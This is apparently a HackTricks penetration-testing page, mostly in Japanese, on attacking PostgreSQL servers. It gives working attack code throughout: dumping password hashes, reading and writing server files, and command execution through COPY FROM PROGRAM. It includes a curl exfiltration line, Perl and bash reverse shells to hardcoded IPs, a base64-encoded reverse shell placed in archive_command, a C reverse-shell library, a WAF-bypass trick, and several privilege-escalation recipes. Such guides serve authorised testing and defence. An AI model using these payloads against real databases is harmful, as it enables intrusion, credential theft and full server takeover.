5432,5433 - Pentesting Postgresql

Reading time: 38 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

PostgreSQLオブジェクトリレーショナルデータベースシステム として説明され、オープンソースです。このシステムは SQL 言語を利用するだけでなく、追加の機能でそれを拡張しています。豊富なデータ型と操作を扱えるため、開発者や組織にとって汎用性の高い選択肢となっています。

デフォルトポート: 5432、もしこのポートが既に使用中であれば、postgresql は次のポート(おそらく 5433)を使用するようです。

PORT     STATE SERVICE
5432/tcp open  pgsql

接続 & Basic Enum

bash
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
sql
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles

# Get current user
SELECT user;

# Get current database
SELECT current_catalog;

# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+

#List databases
SELECT datname FROM pg_database;

#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;

# Get languages
SELECT lanname,lanacl FROM pg_language;

# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;

# Get history of commands executed
\s

warning

もし \list を実行して rdsadmin というデータベースが見つかったら、あなたは AWS postgresql database の中にいることが分かります。

PostgreSQL データベースを悪用する方法の詳細は、以下を参照してください:

PostgreSQL injection

自動列挙

msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection

Brute force

Port scanning

this researchによると、接続試行が失敗した場合、dblinksqlclient_unable_to_establish_sqlconnection例外をスローし、エラーの説明を含みます。以下にこれらの詳細の例を示します。

sql
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
  • ホストがダウンしている

DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

  • ポートが閉じている
DETAIL:  could not connect to server: Connection refused Is  the  server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
  • Port は open です
DETAIL:  server closed the connection unexpectedly This  probably  means
the server terminated abnormally before or while processing the request

または

DETAIL:  FATAL:  password authentication failed for user "name"
  • Port は open または filtered です
DETAIL:  could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?

PL/pgSQL 関数内では、現時点で例外の詳細を取得することはできません。ただし、PostgreSQL サーバーへ直接アクセスできる場合は、必要な情報を取得できます。システムテーブルからユーザー名やパスワードを抽出できない場合は、前節で説明した wordlist attack の手法を利用することを検討してください。成功する可能性があります。

権限の列挙

ロール

Role Types
rolsuperロールはスーパーユーザー権限を持つ
rolinheritこのロールは所属するロールの権限を自動的に継承する
rolcreaterole他のロールを作成できる
rolcreatedbデータベースを作成できる
rolcanloginログインできる。つまり、このロールはセッション開始時の認可識別子として指定できる
rolreplicationレプリケーションロール。レプリケーション接続を開始したり、レプリケーションスロットを作成・削除できる
rolconnlimitログイン可能なロールに対して、このロールが行える同時接続数の最大値を設定する。-1 は制限なしを意味する。
rolpasswordパスワードそのものではない(常に ******** と表示される)
rolvaliduntilパスワードの有効期限(パスワード認証にのみ使用);期限なしの場合は null
rolbypassrlsロールはすべての行レベルセキュリティポリシーをバイパスします。詳細は Section 5.8 を参照してください。
rolconfig実行時設定変数のロール固有のデフォルト
oidロールの ID

興味深いグループ

  • もし pg_execute_server_program のメンバーであれば、プログラムを 実行 できる
  • もし pg_read_server_files のメンバーであれば、ファイルを 読み取る ことができる
  • もし pg_write_server_files のメンバーであれば、ファイルに 書き込む ことができる

tip

Postgres では usergrouprole同じ である点に注意してください。どのように使うかやログインを許可するかどうかによって扱いが変わります。

sql
# Get users roles
\du

#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;

# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');

# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.

# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.

テーブル

sql
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';

# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;

#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';

関数

sql
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access

# Get all functions of a schema
\df pg_catalog.*

# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;

# Another aparent option
SELECT * FROM pg_proc;

ファイルシステム操作

ディレクトリとファイルの読み取り

この commit から、定義された DEFAULT_ROLE_READ_SERVER_FILES グループ(pg_read_server_files と呼ばれる)のメンバーおよび super users は任意のパスに対して COPY メソッドを使用できます(genfile.cconvert_and_check_filename を参照してください):

sql
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;

warning

自分が super user でない場合でも、CREATEROLE 権限を持っていれば、そのグループのメンバーに自分を追加できます:

GRANT pg_read_server_files TO username;

More info.

ファイルを読み取ったりディレクトリを一覧表示したりするために使用できる other postgres functions が他にもあります。これらは superusersusers with explicit permissions のみが使用できます:

sql
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission

select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');

# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file

# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation

より多くの関数https://www.postgresql.org/docs/current/functions-admin.html で確認できます

簡単なファイル書き込み

ファイルを書き込むために copy を使用できるのは、スーパーユーザーpg_write_server_files のメンバーのみです。

sql
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';

warning

非スーパーユーザーであっても CREATEROLE 権限を持っている場合は、自分をそのグループのメンバーにすることができます:

GRANT pg_write_server_files TO username;

More info.

COPY は改行文字を扱えないことを覚えておいてください。そのため base64 ペイロードを使用している場合であっても、一行にまとめたペイロードを送る必要があります
この手法の非常に重要な制限は、copy が一部のバイナリ値を変更するためバイナリファイルの書き込みに使用できないことです。

バイナリファイルのアップロード

ただし、大きなバイナリファイルをアップロードする他の手法も存在します:

Big Binary Files Upload (PostgreSQL)

ローカルファイル書き込みによるPostgreSQLテーブルデータの更新

PostgreSQL サーバのファイルを読み書きするための権限がある場合、the PostgreSQL data directory 内の関連するファイルノードを上書きすることでサーバ上の任意のテーブルを更新できます。この手法の詳細 here

必要な手順:

  1. PostgreSQL のデータディレクトリを取得
sql
SELECT setting FROM pg_settings WHERE name = 'data_directory';

Note: 現在のデータディレクトリパスを settings から取得できない場合は、SELECT version() クエリで主要な PostgreSQL バージョンを確認し、パスを総当たりで試してください。Unix 環境での一般的なデータディレクトリパスは /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/ です。一般的なクラスタ名は main です。

  1. 対象テーブルに関連する filenode への相対パスを取得
sql
SELECT pg_relation_filepath('{TABLE_NAME}')

このクエリは base/3/1337 のような結果を返します。ディスク上のフルパスは $DATA_DIRECTORY/base/3/1337、つまり /var/lib/postgresql/13/main/base/3/1337 のようになります。

  1. lo_* 関数を使って filenode をダウンロード
sql
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
  1. 対象テーブルに関連付けられたデータ型を取得
sql
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
  1. PostgreSQL Filenode Editor を使って edit the filenode し、全ての rol* ブールフラグを 1 に設定して完全な権限を付与します。
bash
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

PostgreSQL Filenode Editor Demo

  1. 編集した filenode を lo_* 関数で再アップロードし、ディスク上の元ファイルを上書きします
sql
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
  1. (任意)高負荷な SQL クエリを実行してインメモリのテーブルキャッシュをクリアします
sql
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
  1. これで PostgreSQL 内のテーブル値が更新されているはずです。

pg_authid テーブルを編集してスーパ管理者になることも可能です。See the following section.

RCE

RCE to program

Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:

sql
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -

exec の例:

bash
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;

#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';

warning

スーパーユーザーでない場合でも CREATEROLE 権限があれば、そのグループのメンバーに自分を追加できます:

GRANT pg_execute_server_program TO username;

More info.

または multi/postgres/postgres_copy_from_program_cmd_exec モジュールを metasploit から使用してください。
この脆弱性の詳細は here を参照してください。CVE-2019-9193 として報告されましたが、Postges はこれを feature and will not be fixed と宣言しました。

キーワードフィルタ/WAFを迂回して COPY PROGRAM に到達する

SQLi コンテキストで stacked queries がある場合、WAF がリテラルなキーワード COPY を削除またはブロックすることがあります。文を動的に構築して PL/pgSQL の DO ブロック内で実行できます。例えば、先頭の C を CHR(67) で生成して素朴なフィルタを回避し、組み立てたコマンドを EXECUTE します:

sql
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;

このパターンは静的なキーワードフィルタリングを回避しつつ、COPY ... PROGRAM を介してOSコマンド実行を達成します。特にアプリケーションがSQLエラーを表示し、スタッククエリを許可する場合に有用です。

RCE with PostgreSQL Languages

RCE with PostgreSQL Languages

PostgreSQL extensions を使った RCE

前回の記事でバイナリファイルをアップロードする方法を学んだら、postgresql extension をアップロードしてロードすることでRCEを取得することを試みることができます。

RCE with PostgreSQL Extensions

PostgreSQL 設定ファイルでの RCE

tip

以下のRCEベクトルは、すべてのステップがネストしたSELECT文で実行できるため、制約のあるSQLi環境で特に有用です

PostgreSQLの設定ファイルはデータベースを実行しているpostgres userによって書き込み可能であるため、superuserとしてファイルシステムにファイルを書き込み、このファイルを上書きできます。

ssl_passphrase_command を使った RCE

More information about this technique here.

設定ファイルにはRCEにつながる興味深い属性がいくつかあります:

  • ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key' Path to the private key of the database
  • ssl_passphrase_command = '' プライベートファイルがパスワード(暗号化)で保護されている場合、postgresql はこの属性で指定されたコマンドを実行します
  • ssl_passphrase_command_supports_reload = off この属性が on の場合、キーがパスワードで保護されているときに実行されるコマンドpg_reload_conf()実行されたとき実行されます

攻撃者は次の操作を行う必要があります:

  1. プライベートキーをダンプする(サーバーから)
  2. ダウンロードしたプライベートキーを暗号化する:
  3. rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key
  4. 上書き
  5. 現在の postgresql 設定をダンプ
  6. 設定を上記の属性で上書きする:
  7. ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'
  8. ssl_passphrase_command_supports_reload = on
  9. Execute pg_reload_conf()

テスト中に気づいたのは、これはプライベートキーファイルの権限が640であり所有者がrootで、グループがssl-certまたはpostgres(postgres user が読み取れるように)であり、かつ /var/lib/postgresql/12/main に配置されている場合にのみ機能するということです。

archive_command を使った RCE

More information about this config and about WAL here.

設定ファイルで悪用可能な別の属性は archive_command です。

これを機能させるには、archive_mode 設定が 'on' または 'always' である必要があります。もしそうであれば、archive_command のコマンドを上書きし、WAL (write-ahead logging) の操作を介してそのコマンドを実行させることができます。

一般的な手順は次のとおりです:

  1. archive mode が有効かどうかを確認する: SELECT current_setting('archive_mode')
  2. ペイロードで archive_command を上書きする。例:リバースシェル: archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'
  3. 設定をリロードする: SELECT pg_reload_conf()
  4. WAL 操作を実行させて archive command を呼び出す: SELECT pg_switch_wal()、または一部の Postgres バージョンでは SELECT pg_switch_xlog()
postgresql.conf を Large Objects 経由で編集する(SQLi フレンドリー)

複数行の書き込みが必要な場合(例:複数の GUC を設定する場合)、PostgreSQL Large Objects を使用して SQL から設定を丸ごと読み取り上書きしてください。この方法は、COPY が改行やバイナリ安全な書き込みを扱えない SQLi 環境に最適です。

例(必要に応じてメジャーバージョンとパスを調整してください。例:Debian の version 15):

sql
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');

-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');

-- 3) Prepare a minimal config snippet locally that forces execution via WAL
--    and base64-encode its contents, for example:
--    archive_mode = 'always'\n
--    archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
--    archive_timeout = 1\n
--    Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');

-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal();  -- or pg_switch_xlog() on older versions

これにより、archive_mode が有効であれば、postgres ユーザーとして archive_command を介した信頼性の高い OS コマンド実行が可能になります。実際には、archive_timeout を短く設定すると、明示的な WAL スイッチを要求せずに迅速に呼び出されることがあります。

RCE with preload libraries

More information about this technique here.

This attack vector takes advantage of the following configuration variables:

  • session_preload_libraries -- libraries that will be loaded by the PostgreSQL server at the client connection.
  • dynamic_library_path -- list of directories where the PostgreSQL server will search for the libraries.

dynamic_library_path を、データベースを稼働させている postgres ユーザーが書き込み可能なディレクトリ(例: /tmp/)に設定し、そこに悪意のある .so オブジェクトをアップロードします。次に、session_preload_libraries にそのライブラリ名を含めることで、PostgreSQL サーバーに新しくアップロードしたライブラリをロードさせます。

The attack steps are:

  1. オリジナルの postgresql.conf をダウンロードする
  2. dynamic_library_path/tmp/ を含める(例: dynamic_library_path = '/tmp:$libdir'
  3. session_preload_libraries に悪意のあるライブラリ名を含める(例: session_preload_libraries = 'payload.so'
  4. SELECT version() クエリで主要な PostgreSQL バージョンを確認する
  5. 正しい PostgreSQL 開発パッケージを使って悪意のあるライブラリコードをコンパイルする。サンプルコード:
c
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

void _init() {
/*
code taken from https://www.revshells.com/
*/

int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;

int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");

connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);

char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}

Compiling the code:

bash
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
  1. ステップ2-3で作成した悪意のある postgresql.conf をアップロードし、元のものを上書きする
  2. ステップ5で作成した payload.so/tmp ディレクトリにアップロードする
  3. サーバーを再起動するか SELECT pg_reload_conf() クエリを実行してサーバー設定をリロードする
  4. 次に DB に接続した際に、リバースシェル接続が確立されます。

Postgres Privesc

CREATEROLE Privesc

Grant

According to the docs: CREATEROLE 権限を持つロールは、superuser ではない任意のロールのメンバーシップを付与または剥奪することができます。

したがって、もし CREATEROLE 権限があれば、(superuser でない)他の roles に自分を割り当てることで、ファイルの読み書きやコマンド実行といった権限を得られる可能性があります:

sql
# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

パスワードの変更

このロールを持つユーザーは、他の非スーパーユーザー(non-superusers)パスワード変更することもできます:

sql
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

ローカルユーザーがパスワードを入力せずにPostgreSQLにログインできることはかなり一般的です。したがって、コードを実行する権限を獲得したら、これらの権限を悪用して自分に**SUPERUSER**ロールを付与できます:

sql
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

tip

これは通常、pg_hba.conf ファイルの次の行が原因で可能になります:

# "local" is for Unix domain socket connections only
local   all             all                                     trust
# IPv4 local connections:
host    all             all             127.0.0.1/32            trust
# IPv6 local connections:
host    all             all             ::1/128                 trust

ALTER TABLE privesc

this writeup では、ユーザーに付与された ALTER TABLE 権限を悪用して Postgres GCP で privesc が可能になった経緯が説明されています。

テーブルの所有者を別のユーザーに変更しようとすると、その操作を防ぐ エラー が発生するはずですが、どうやら GCP はその オプションを非スーパーユーザーの postgres ユーザーに与えていた ようです:

この考えに、INSERT/UPDATE/ANALYZE コマンドが index function を持つテーブル に対して実行されると、その function はコマンドの一部として テーブル所有者の権限呼び出される という事実を組み合わせると、関数付きのインデックスを作成してそのテーブルの所有者権限を super user に与え、悪意ある関数を含むテーブルに対して ANALYZE を実行すれば、所有者の特権を利用してコマンドを実行できる可能性がある、ということです。

c
GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

  1. まず新しいテーブルを作成します。
  2. index function のためのデータを用意するため、テーブルに無関係な内容をいくつか挿入します。
  3. コード実行ペイロードを含む悪意のある index function を作成し、未承認のコマンドを実行できるようにします。
  4. テーブルの所有者を "cloudsqladmin" に ALTER します。これは Cloud SQL がデータベースの管理と保守のために専用で使用する GCP の superuser ロールです。
  5. テーブルに対して ANALYZE を実行します。この操作により PostgreSQL エンジンはテーブル所有者 "cloudsqladmin" のユーザコンテキストに切り替わり、結果として悪意のある index function が "cloudsqladmin" の権限で呼び出され、先に許可されていなかった shell command の実行が可能になります。

In PostgreSQL, this flow looks something like this:

sql
CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

すると、shell_commands_results テーブルには実行されたコードの出力が含まれます:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

ローカルログイン

設定ミスのある postgresql インスタンスでは、任意のローカルユーザーでのログインが可能になることがあり、127.0.0.1 から dblink 関数 を使ってローカル接続できます:

sql
\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
port=5432
user=someuser
password=supersecret
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

warning

前のクエリが動作するためには 関数 dblink が存在する必要がある ことに注意してください。存在しない場合は、次のように作成してみてください

CREATE EXTENSION dblink;

より多くの権限を持つユーザのパスワードを知っているが、そのユーザが外部IPからのログインを許可されていない場合、以下の関数を使ってそのユーザとしてクエリを実行できます:

sql
SELECT * FROM dblink('host=127.0.0.1
user=someuser
dbname=somedb',
'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

この関数が存在するかどうかは、次のように確認できます:

sql
SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

SECURITY DEFINER を持つカスタム定義関数

In this writeup, pentesters は IBM が提供する postgres インスタンス内で privesc に成功しました。理由は彼らが この関数が SECURITY DEFINER フラグを持っているのを発見した ためです:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text)
RETURNS text
LANGUAGE 'plpgsql'
    VOLATILE SECURITY DEFINER
    PARALLEL UNSAFE
COST 100

AS $BODY$
DECLARE
persist_dblink_extension boolean;
BEGIN
persist_dblink_extension := create_dblink_extension();
PERFORM dblink_connect(format('dbname=%s', db_name));
PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s',
subscription_name, host_ip, portNum, password, username, db_name, publisher_name));
PERFORM dblink_disconnect();
…

explained in the docs にあるように、SECURITY DEFINER を持つ関数はその所有者(user that owns it)の権限で実行されます。したがって、その関数が vulnerable to SQL Injection であったり、攻撃者が制御するパラメータで privileged actions with params controlled by the attacker を行っている場合、escalate privileges inside postgres に悪用される可能性があります。

前のコードの4行目で、関数が SECURITY DEFINER フラグを持っているのが確認できます。

sql
CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

そして コマンドを実行:

PL/pgSQLでのパスワードブルートフォース

PL/pgSQL は、SQL と比べてより高度な手続き制御を提供する フル機能のプログラミング言語 です。ループ やその他の 制御構造 を使用してプログラムロジックを強化できます。さらに、SQL statementstriggersPL/pgSQL language で作成した関数を呼び出すことができます。この統合により、データベースプログラミングと自動化に対してより包括的で柔軟なアプローチが可能になります。
この言語を悪用して、PostgreSQL にユーザーの認証情報をブルートフォースさせることができます。

PL/pgSQL Password Bruteforce

Privesc — 内部 PostgreSQL テーブルの上書きによる権限昇格

tip

以下の privesc ベクターは、すべてのステップがネストされた SELECT 文のみで実行できるため、制約のある SQLi コンテキストで特に有用です

もし PostgreSQL サーバーのファイルを読み書きできる なら、内部の pg_authid テーブルに関連する on-disk filenode を上書きすることで superuser になることができます。

この技術の詳細はhereを参照してください。

攻撃手順は次の通りです:

  1. PostgreSQL のデータディレクトリを取得する
  2. pg_authid テーブルに関連する filenode の相対パスを取得する
  3. lo_* 関数を介して filenode をダウンロードする
  4. pg_authid テーブルに関連するデータ型を取得する
  5. PostgreSQL Filenode Editor を使用して edit the filenode; すべての rol* ブールフラグを 1 に設定して完全な権限を与える
  6. 編集した filenode を lo_* 関数で再アップロードし、ディスク上の元のファイルを上書きする
  7. (オプション) 重い SQL クエリを実行してメモリ上のテーブルキャッシュをクリアする
  8. これで完全な superadmin 権限を持つはずです。

POST

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

ログ

postgresql.conf ファイル内で、postgresql のログを有効にするには次の設定を変更します:

bash
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

次に、サービスを再起動します。

pgadmin

pgadmin は PostgreSQL の管理および開発プラットフォームです。
パスワードpgadmin4.db ファイル内にあります。
それらはスクリプト内の decrypt 関数を使って復号できます: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

bash
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

PostgreSQL のクライアント認証は pg_hba.conf という設定ファイルで管理されます。このファイルには複数のレコードが含まれており、各レコードは接続タイプ、クライアントの IP アドレス範囲(該当する場合)、データベース名、ユーザー名、および接続照合に使用する認証方法を指定します。接続タイプ、クライアントアドレス、要求されたデータベース、ユーザー名に該当する最初のレコードが認証に使用されます。認証が失敗した場合のフォールバックや代替はありません。どのレコードにも一致しない場合、アクセスは拒否されます。

pg_hba.conf で利用できるパスワードベースの認証方法は md5, crypt, password です。これらはパスワードの送信方法が異なり、MD5 でハッシュ化、crypt で暗号化、または平文 (clear-text) で送信されます。crypt 方法は pg_authid に格納された暗号化済みパスワードとは併用できない点に注意してください。

参考資料

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする